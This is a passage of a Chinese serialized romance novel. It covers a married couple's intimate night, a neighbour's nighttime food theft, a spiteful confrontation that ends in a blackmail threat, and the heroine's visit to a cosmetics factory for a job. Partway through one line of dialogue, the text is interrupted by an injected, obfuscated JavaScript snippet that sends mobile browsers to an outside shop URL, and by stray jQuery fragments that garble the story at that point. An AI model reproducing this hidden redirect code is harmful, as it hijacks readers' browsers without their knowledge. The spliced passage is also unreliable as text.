这话让云盈盈心头一紧,她没想到何铮会这么回答,赶忙出声婉拒道,“不……不用……”
只是话还没说完,就被倾身过来的男人猛地捞进怀里,她娇柔的身躯撞上何铮坚硬的胸膛,那滚烫的热意让云盈盈呼吸一滞,心尖不住颤动。
脖颈上急促温热的气息带起丝丝痒意,令她不由缩了下肩膀,神情慌张的拧着腰身,不断挣扎着往后撤。
下一秒,何铮的手从身侧滑到了后腰,炙热掌心贴上腰椎的瞬间,云盈盈的身躯抖了下,桃花眼里的恐慌更胜,正打算开口制止,就听到男人冷冽干涩声音。
“盈盈,你放松点,我真的只想为昨晚的行为赎罪……”
何铮被怀里来回扭动的身躯弄得神情急躁,呼吸粗重的望着云盈盈紧绷局促的小脸,幽深的眼底荡着几分轻笑,提醒道,“但你再乱动的话,我就不能保证接下来会发生什么?”
狗男人还好意思提昨晚的事!
云盈盈胸膛里窜上一股恼火,没好气的朝着对面的男人翻白眼,她气愤的靠在枕头上冷哼,可何铮暗哑的提醒在先,她也不敢乱动,生怕激起他的汹涌的情愫,毕竟能感觉到何铮抱着她的身体越来越僵硬。
“嘶……”
男人宽阔灼热的手掌在她的后腰上轻轻按揉,一下又一下,即便他动作缓慢,可云盈盈还是疼的龇牙咧嘴,她沉着脸看向黑暗里的何铮,语气愤然的抗议,“何铮,你到底是赎罪还是报复啊,快别揉了,我要疼死了!”
“疼说明揉到位了,你先忍忍,一会就不疼了。”
何铮听着她裹着怒气的娇俏声,不由挑了挑眉,这女人怎么会这么想呢,她是自己媳妇,他怎么舍得报复啊,于是,凑近她的耳畔低声道,“不揉开了,你明天还会疼……”
“还不是都怪你!”
云盈盈难受的靠在何铮的肩头上,在男人粗粝指尖的按压下轻声哼唧着,随着时间的流逝,持续的微重按揉缓解了她身体的难受,腰部的酸胀感逐渐消退,她甚至能感受到一股久违的轻松。
身体的舒坦让她紧绷的神经越发松弛,许是夜色深重,睡了一下午的云盈盈又开始犯困,不知不觉间就合上了桃花眼,贴着何铮的胸膛进入了梦乡。
轻柔匀称的呼吸声让何铮身体僵了下,还以为刚才云盈盈说困是糊弄他呢,没想到是真的犯困,心底闪过一丝愧疚,是自己太过分了,害她昨晚没有休息好。
即使下午睡过害困成这样,都是他的错,以后不能再那么没有节制。
瞧着女人睡的昏沉的小脸,何铮干涩的喉咙不由滚了滚,他眯了眯眼眸下压眼底涌动的晦暗,低头含住她饱满的唇瓣,留下轻轻一吻,才呼吸急促的扣着她娇软的身躯,让她紧紧贴在自己的胸膛上,吮吸着云盈盈幽香的气息,强迫自己入睡。
二楼齐家。
张彩云躺在主屋的床上翻来覆去睡不着,她神情焦躁的摸了摸自己一直咕咕叫的肚子,实在搞不懂到底是怎么了,现在不光白天饿,半夜更是难熬,胃里像是生了一把火一样,烧的厉害。
又过了会,她实在难以抗拒剧烈的饥饿感,翻身下床,蹑手蹑脚的摸到了厨房。
可翻遍了橱柜,又找了各个角落,就连锅碗瓢盆里都瞧了一遍,也没找到半点能吃的东西,所有的粮食跟菜全都消失不见。
张彩云不由想起傍晚时候,田翠巧从医院送饭回来得意的冲自己炫耀说齐成业以后让她管家。
当时她压根就不在意,本来家里也没钱,仨瓜俩枣的又什么可管的,却没想到这个死老太婆竟然把所有的吃食全藏起来了。
“咕噜……”
肚子不争气的持续鸣叫,她只好出了厨房在客厅里寻找,可累的出了一身汗也没找到被田翠巧藏起来的吃食,她只好把桌上给齐俊豪磨牙啃的半截黄瓜捡起来送进嘴里,着急忙慌的塞进嘴里。
可一节黄瓜压根不顶用,清爽苦涩的味道甚至让她反胃,望着空荡荡的厨房,张彩云眼里泛着愤怒,盯着西屋的门恨不得把田翠巧拉出来暴打一顿。
这是自己的家啊,这个死老太婆凭什么扣着东西防她?
“吱呀……”
饥饿使人胆大,张彩云悄悄的打开了西屋的门,在田翠巧震耳欲聋的鼾声里,开门的响声压根不值一提。
她慢悠悠的闪身进去,趁着窗外的月光在西屋里摸索寻找,最后在桌子底下翻出了盖着布的馒头筐,她动作敏捷的抓了两个,回到东屋合上门才狼吞虎咽的往嘴里塞。
啃完两个馒头,又喝了碗水,肚子总算不叫了,张彩云满足的躺在床上,望着旁边睡得正香的儿子,她脸上不觉间带着笑,肯定是孩子大了吃的多,她才会这么饿的。
云盈盈睁开眼发现自己正趴在何铮的怀里,望着男人健硕的胸肌,她白皙的小脸有些不自在,赶忙用手拨开横在腰间的手臂。
刚撑着床铺起身就瞧见男人幽深冷冽的眼眸直勾勾的盯着自己,她桃花眼才颤了颤,声音轻柔的招呼道,“早……”
何铮扫了眼云盈盈泛着慵懒微红的小脸,瞥见她的视线落在自己的胸膛上,不由挑了挑眉,俊朗的脸上隐着几分得意,这都是他努力训练的结果,清冷磁性的声音打趣着问道,“腰还疼吗?”
“不……不疼了,谢谢……”
云盈盈摇摇头,红着脸逃也似的下了床去洗澡间洗漱,虽然相处的时间不短了,可她面对何铮还是会不自在。
也许是他气场太凌厉,长相太凶了吧,自己还没有完全适应。
正思索着,望见镜子里的自己,云盈盈满脸不可置信的揉了揉自己的眼睛,确认没有看错才板着脸恼火的喊道,“何铮,我以后再也不会相信你了!”
“我就亲了两下,真的……”
何铮闻声赶来,瞧见云盈盈正站在镜子旁边,面色阴沉的摸着脖子上嫣红的唇印,他淡漠的脸上闪过一丝心虚,赶忙解释道。
“上次你明明答应过不再亲我的,你个言而无信的混蛋。”
嫩白的肌肤上殷红的痕迹格外明显,云盈盈气呼呼的瞪着何铮,没好气的控诉,昨天在院里被那么多人打趣,今天又有了新的,让她还怎么出门办事啊。
“可抱着自己媳妇,哪个男人也忍不住啊……”
何铮幽深的眼眸闪了闪,望着气呼呼的云盈盈,神情无奈的辩解道,“再说我们是夫妻啊,亲两下怎么了,谁不亲自己媳妇啊……”
“忍不住就分房睡!”
云盈盈板着脸,恶狠狠的白了一眼毫不知错的男人,她无奈的在心里叹了口气,看来光靠他的自制力是绝对不管用的,要物理隔绝才行。
婚前怎么没看出来他是热衷这些的人啊,当时总以为他冷厉寡情,是个不近女色的禁欲兵哥,还以为结婚后能过自由清净的日子呢,没想到天天被欺负。
不对!
云盈盈猛然想起来,她决定要嫁给邵正青的那天晚上,何铮从山里回来,他浑身滚烫的把自己压在床上,那时候自己还提醒他,憋的难受就赶紧找个对象。
没想到,两天后因为流言她成了何铮的结婚对象!
“不行,夫妻哪有分房睡的,盈盈,我知道错了,以后都听你的。”
何铮看了眼直愣愣望着自己的女人,瞧着她来回变换的面色,以为她还在生气,赶忙凑过去揽住她的肩膀,表明自己的态度。
吃完何铮打回来的早饭,云盈盈用粉把自己脖子上的红印遮了遮,又把乌黑的长发挽成一个半披肩的样子,余下的分散在胸前,确认不会被人瞧出端倪才出了门。
她一出来,坐在门口偷看的赵秀芳立马就躲到了屋子里,生怕被云盈盈发现,再去跟赵营长告状,那自己就得立马滚蛋。
云盈盈可没空搭理阴沟老鼠人赵秀芳,反正早晚都是要去农场的货色,何必浪费心神呢。
她背着一个布包身形款款的下楼,刚走下二楼的台阶就看到张彩云气喘吁吁的从外面回来。
苍白的脸上甚至还有些没有完全小退的伤痕,神情憔悴的比之前老了好几岁,她不由怔了下,心里泛着疑惑,这是被齐家最近的变故磋磨的了?
真是活该,让她算计自己!
“云盈盈,看到我这么狼狈,你是不是很得意?”
张彩云浑身疲惫的从医院回来,她不过是昨天晚上偷懒了一次,又被齐成业指着鼻子斥骂,各种挑刺嫌弃,对换药的护士反倒是笑脸相迎,那殷勤的样简直比跟她相亲的时候还热情呢,什么意思,她哪里看不出来!
虽然骂了齐成业一顿,可她肚子里的火却没消散。
这会看到云盈盈穿着一身崭新崭新的小圆领白衬衫,加上深蓝色的百褶长裙,整个人温柔娇俏中带着几分清纯,一点不像从乡下来的土丫头,甚至比机关单位里的办事员都要气派。
她不由脸色一沉,心里滋生出一种别样的嫉妒,裹着浓烈的怨恨直勾勾的盯着云盈盈,咬着牙质问。
“当然,仇人过的差谁能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898220|203509||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
忍住不高兴啊。”
云盈盈扫了眼冲着自己愤然瞪眼的张彩云,娇美的小脸上泛着挪榆调侃道,“听说齐成业天天打你,怎么就没把你给打死呢,到时候齐成业坐牢,你上西天,我做梦都会笑醒。”
“贱人,我要掐死你!”
听到这话,张彩云被气的浑身直哆嗦,她面色狰狞的朝着云盈盈扑上来,手还没碰到云盈盈的衣角,就听见云盈盈讽刺的轻笑。
“再骂一句,我可不保证你被程文全睡的事,会从哪个婶子大娘嘴里说出去……”
“你……你收了钱的,怎么还能往外头说?”
张彩云急忙稳住身形,她神情惶恐的朝着四处看了看,生怕刚才云盈盈的话被人听见,那她简直就没脸活了,确定四周没人才恼火的望向云盈盈,愤愤的指责道。
“那是建立在你安分的情况下,就你现在主动凑上来挑事,我可没有替要掐死我的人保守秘密的义务。”
瞧着张彩云惶恐不安的模样,云盈盈嘴角勾起一抹冷笑,语气幽幽的警告道,“以后少在我面前晃悠,否则我心情不好容易说漏嘴……”
说完,她抬脚就往楼下走,还有正事要办呢,可没时间跟张彩云打嘴仗。
该死的贱丫头竟然还敢威胁自己,凭什么?
张彩云望着云盈盈下楼的背影,婀娜娇美的让她更加憎恨,眼底深处迸发着极致的愠怒,自己过的这么艰难狼狈,云盈盈却这么光鲜靓丽,明明让程文全睡的人应该是她云盈盈啊!
当初自己是连长媳妇,风光又被人羡慕,回老家受了多少吹捧,现在却混成这样全是这个贱人害的!
想着,想着,她脑子里原本阴毒的念头越发深刻……
云盈盈坐运输车到市区后,又转了一次公交才按着百货商店销售员林婧文给的地址,找到了柏翠化妆品工厂,瞧着年代感十足的简约建筑,以及那标志性的大铁门,她小脸上泛着一抹淡笑,还真是跟报纸上的工厂长一个样啊。
刚靠近就被门口的大爷拉住询问,她表示自己是来找赵经理的。
“赵经理?”
穿着灰色工装短袖的大爷扫了眼云盈盈,老脸上带着几分轻蔑,撇撇嘴说,“哦,赵经理不在,她出去了。”
出去了?
云盈盈面色愣了下,心里有些遗憾,还以为自己要扑空的时候,看到钱晶晶从工厂里骑着自行车出来,她赶忙出声喊道,“钱同志,钱晶晶……”
钱晶晶侧头看到云盈盈,小麦色的脸上泛着惊喜,赶忙下了自行车靠过来,“云同志,你可算出现了,快跟我去见我妈,她说再等不到人就去百货商场蹲你……”
“你妈妈在厂里?”
云盈盈听到钱晶晶的话,心里带着疑惑,忍不住脱口道。
“上班时间,她除了出去跟人对接铺货,基本都在厂里。”
钱晶晶不明白云盈盈为什么这么问,但还是如实的回答了,她一手推着自行车,一手拉着云盈盈往里头进,原本是请假回去偷懒的,但云盈盈来了,想想那适合自己的化妆品,她瞬间就有动力上班了。
“我眼花看错人了……”
面对云盈盈质疑的眼神,门口的大爷仰着头不以为意道。
“他就是个摆设不干正事,别搭理这种人。”
钱晶晶这才知道云盈盈为什么刚才会那么多,没好气的白了一眼大爷,拉着云盈盈就往里走,一边走一边跟云盈盈透露说要给那人好处才会说正确的消息,要不是跟厂里领导是亲戚,早被开除了。
“云同志,我盼星星盼月亮可算是等到你了。”
赵新岚瞧见云盈盈的那一刻,原本因为工作有些生气的脸瞬间绽放出笑容,她欢喜的过来拉住云盈盈的手,格外热情的说,“你上回调的口红可是让我闺女在厂里备受关注,好些皮肤不白的女同志都悄悄打听是哪个产品呢……”
“之前有事耽搁了。”
看到赵新岚这么热情,云盈盈原本还有些忐忑的心总算落定,她脸上带着笑,温柔的解释道。
“走,我带你去主任那,保证今天就让你入职。”
赵新岚风风火火的引着云盈盈往办公楼上面走,边走边给云盈盈解释厂里的情况,她心里的欢喜更是怎么都压不住,有了云盈盈,以后他们厂的业绩那岂不是蹭蹭往上涨?
至于发现云盈盈这个人才的她,当然是居功至伟,想象很美好,可现实却很出乎意料。
“你的户籍不在宣城啊?”